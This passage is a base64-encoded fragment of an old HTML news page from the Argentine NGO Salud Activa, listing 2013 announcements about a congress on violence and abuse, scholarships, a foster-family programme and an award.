OjY1MXB4OwoJaGVpZ2h0OjIxOHB4OwoJei1pbmRleDoxOwp9CiNMYXllcjIgewoJcG9zaXRpb246YWJzb2x1dGU7Cgl3aWR0aDoyMDBweDsKCWhlaWdodDoxMTVweDsKCXotaW5kZXg6MTsKCXZpc2liaWxpdHk6IHZpc2libGU7Cn0KLkVzdGlsbzEgewoJZm9udC1zaXplOiAxOHB4OwoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KLkVzdGlsbzIgewoJZm9udC1zaXplOiAxNHB4OwoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KLkVzdGlsbzMge2NvbG9yOiAjNTA2OTkwOyBsaW5lLWhlaWdodDogMTJweDsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyBmb250LWZhbWlseTogVGFob21hO30KLS0+Cjwvc3R5bGU+CjwvaGVhZD4KCjxib2R5IGxlZnRtYXJnaW49IjIiIG1hcmdpbndpZHRoPSIyIj4KPHRhYmxlIHdpZHRoPSI2MDgiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICA8dHI+CiAgICA8dGQgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCB3aWR0aD0iMiUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzA3LmpwZyIgd2lkdGg9IjI0IiBoZWlnaHQ9IjE0IiAvPjwvdGQ+CiAgICAgICAgPHRkIHdpZHRoPSI5MCUiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18wNy5qcGciPiZuYnNwOzwvdGQ+CiAgICAgICAgPHRkIHdpZHRoPSI4JSIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wOS5qcGciIHdpZHRoPSI0NSIgaGVpZ2h0PSIxNyIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogIDwvdHI+CiAgPHRyPgogICAgPHRkIGNvbHNwYW49IjQiPjxiciAvPgogICAgICA8dGFibGUgd2lkdGg9Ijk4JSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICA8dHI+CiAgICAgICAgPHRkIHdpZHRoPSIyJSI+PGltZyBzcmM9ImltZy81eDUuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iMTUiIC8+PC90ZD4KICAgICAgICA8dGQgd2lkdGg9IjkzJSI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CjwhLS0gSU5JQ0lPIG5vdGEgZGVzdGFjYWRhIC0tPgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTU2IiByb3dzcGFuPSIyIiB2YWxpZ249InRvcCI+CgkJCQkKCQkJCTx0YWJsZSB3aWR0aD0iMzIlIiBib3JkZXI9IjEiIGNlbGxzcGFjaW5nPSIzIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJzcmMvaW1nX3VwLzIzMDQyMDEzLjAuanBnIiB3aWR0aD0iMTQ2IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPgoJCQkJCQkJCTwvdGQ+ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjIvMTEvMjAxMzwvc3Bhbj48YnI+SVYgQ29uZ3Jlc28gSW50ZXJuYWNpb25hbCB2aW9sZW5jaWEsIG1hbHRyYXRvIHkgYWJ1c288L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxzdHJvbmc+MTQsIDE1IHkgMTYgZGUgTm92aWVtYnJlIEFCSUVSVEEgTEEgSU5TQ1JJUENJJk9hY3V0ZTtOISAoY29uIGRlc2N1ZW50byBoYXN0YSBlbCAyNy84KTxiciAvPjwvc3Ryb25nPjwvcD4NCjxwPjxzdHJvbmc+QUJJRVJUQSBMQSBSRUNFUENJJk9hY3V0ZTtOIERFIFRSQUJBSk88YSBocmVmPSJodHRwOi8vd3d3LmNvbmdyZXNvdmlvbGVuY2lhLmNvbS9pbmRleC5waHA/aWQ9bW9kYWxpZGFkZXMiIHRhcmdldD0iX2JsYW5rIj4gKG1hcyBpbmZvKTwvYT48L3N0cm9uZz48L3A+DQo8cD48c3BhbiBzdHlsZT0iY29sb3I6ICNmZjY2MDA7Ij48c3Ryb25nPk9yZ2FuaXphOiBTYWx1ZCBBY3RpdmE8L3N0cm9uZz48L3NwYW4+PC9wPg0KPHA+PHNwYW4gc3R5bGU9ImNvbG9yOiAjZmY2NjAwOyI+SW5jcmlwdG9zIGFsIFBvcnRhbCBkZSBTYWx1ZCBBY3RpdmEsIGltcG9ydGFudGVzIGRlc2N1ZW50b3MhPGJyIC8+PC9zcGFuPjwvcD4NCjxwPkx1Z2FyIGRlIFJlYWxpemFjaSZvYWN1dGU7biB5IGNvbGFib3JhY2lvbjogVW5pdmVyc2lkYWQgZGVsIEVzdGUsIExhIFBsYXRhIEJ1ZW5vcyBBaXJlczwvcD4NCjxwPk1hcyBkZSAxNTAgdHJhYmFqb3MgcHJlc2VudGFkb3MsIHVsdGltb3MgZGlhcyBwYXJhIGluc2NyaWJpcnNlIGNvbiBkZXNjdWVudG8hITwvcD4NCjxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuY29uZ3Jlc292aW9sZW5jaWEuY29tL2luZGV4LnBocD9pZD1pbnNjcmlwY2lvbiIgdGFyZ2V0PSJfYmxhbmsiPkluc2NyaWJpcnNlPC9hPjwvcD4NCjxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuY29uZ3Jlc292aW9sZW5jaWEuY29tL2luZGV4LnBocD9pZD1pbnNjcmlwY2lvbiIgdGFyZ2V0PSJfYmxhbmsiPjxiciAvPjwvYT48L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAxIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDEiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MDQvMTEvMjAxMzwvc3Bhbj48YnI+RWwgY29sZWdpbyBkZSBQc2lj82xvZ29zIGRlIEPzcmRvYmEgc2UgcHJvbnVuY2lhIGVuIHJlbGFjafNuIGFsIFNBUCB5IGVuIGNvbmNvcmRhbmNpYSBjb24gbG8gZXhwcmVzYWRvIHBvciBlbCBDb2xlZ2lvIGRlIFBzaWPzbG9nb3MgZGUgTWFyIGRlbCBQbGF0YSB5IGVsIENvbGVnaW8gZGUgUHNpY/Nsb2dvcyBkZSBsYSAgUHJvdmluY2lhIGRlIEJ1ZW5vcyBBaXJlczwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODUiIGNvbHNwYW49IjQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+Jm5ic3A7PC9wPg0KPHA+TGFzIGNvbnRyb3ZlcnNpYXMgZ2VuZXJhZGFzIGVuIHJlbGFjaSZvYWN1dGU7biBhbCAic2luZHJvbWUgZGUgYWxpZW5hY2kmb2FjdXRlO24gcGFyZW50YSIgU0FQLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMxMCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzEwIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTU2IiByb3dzcGFuPSIyIiB2YWxpZ249InRvcCI+CgkJCQkKCQkJCTx0YWJsZSB3aWR0aD0iMzIlIiBib3JkZXI9IjEiIGNlbGxzcGFjaW5nPSIzIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJzcmMvaW1nX3VwLzE2MTAyMDEzLjAuanBnIiB3aWR0aD0iMTQ2IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPgoJCQkJCQkJCTwvdGQ+ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTYvMTAvMjAxMzwvc3Bhbj48YnI+U2FsdWQgQWN0aXZhIG90b3JnYSBtZWRpYXMgYmVjYXMgcGFyYSBlbCBJViBDb25ncmVzbyBJbnRlcm5hY2lvbmFsLCBWIE5hY2lvbmFsLCBWSSBSZWdpb25hbCBWaW9sZW5jaWEsIE1hbHRyYXRvIHkgQWJ1c28uPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD4mbmJzcDs8L3A+DQo8cD5TZXImYWFjdXRlO24gb3RvcmdhZGFzIDUwIG1lZGlhcyBiZWNhcywgcXVlZGFuIHBvY2FzISEhIGNvbmRpY2lvbjo8L3A+DQo8cD5QZXJ0ZW5lY2VyIGFsIGFtYml0byBwdWJsaWNvIG8gYSBPTkcsIHNlIGNvbnNpZGVyYSB0YW1iaWVuIGxhIGRpc3RhbmNpYSBhbCBsdWdhciBkZWwgZXZlbnRvISEhIGVzIG11eSBzZW5jaWxsbywgc29sbyBkZWJlcyBlbnZpYXIgdW4gZW1haWwuLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwOSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA5Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjI0LzA3LzIwMTM8L3NwYW4+PGJyPk5FQ0VTSVRBTU9TIERFIFNVIFNPTElEQVJJREFEIEhBQ0lBIExPUyBOSdFPUyBZIE5J0UFTISEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPlBST0dSQU1BIEZBTUlMSUFTIFNPTElEQVJJQVM8L3NwYW4+PC9zdHJvbmc+PC9wPg0KPHA+PHN0cm9uZz5DQU1CSU8gREUgU0VERTwvc3Ryb25nPjwvcD4NCjxwPkxhIGNhcGFjaXRhY2kmb2FjdXRlO24gcGFyYSBsYSBwdWVzdGEgZW4gbWFyY2hhIGRlbCA8c3Ryb25nPlByb2dyYW1hIEZhbWlsaWFzIFNvbGlkYXJpYXM8L3N0cm9uZz4gc2UgcmVhbGl6YXImYWFjdXRlOyBlbiBsYSBsb2NhbGlkYWQgZGUgPHN0cm9uZz5OYXZhcnJvPC9zdHJvbmc+IHBhcmEgdG9kbyBlbCBjb3JyZWRvciBkZSBsYSBSdXRhIDQwLjwvcD4NCjxwPkluaWNpbyA8c3Ryb25nPk1pJmVhY3V0ZTtyY29sZXMgMjggZGUgYWdvc3RvIGEgbGFzIDE0IGhvcmFzLiZuYnNwOzwvc3Ryb25nPjwvcD4NCjxwPlNlZGU6IDxzdHJvbmc+U2FsJm9hY3V0ZTtuIE11bmljaXBhbCBlbiBsYSBjYWxsZSAxMDcgZXNxdWluYSAyMiAtIE5hdmFycm88L3N0cm9uZz48L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA4Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTIwNzIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xMi8wNy8yMDEzPC9zcGFuPjxicj5TQUxVRCBBQ1RJVkEgaGEgc2lkbyBlbGVnaWRhIHBvciBzZWd1bmRhIHZleiBjb25zZWN1dGl2YSBjb21vIHVubyBkZSBsb3MgZ2FuYWRvcmVzIGRlbCBDdWFydG8gQ29uY3Vyc28gZGUgUHJveWVjdG9zIFNvY2lhbGVzIGRlIFBldHJvYnJhczwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODUiIGNvbHNwYW49IjQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+RW4gZWwgbWFyY28gZGVsIEN1YXJ0byBDb25jdXJzbyBkZSBQcm95ZWN0b3MgU29jaWFsZXMgZGUgUGV0cm9icmFzLCANCm51ZXN0cmEgSW5zdGl0dWNpJm9hY3V0ZTtuIFNBTFVEIEFDVElWQSBoYSBzaWRvIGVsZWdpZGEgcG9yIHNlZ3VuZGEgdmV6IA0KY29uc2V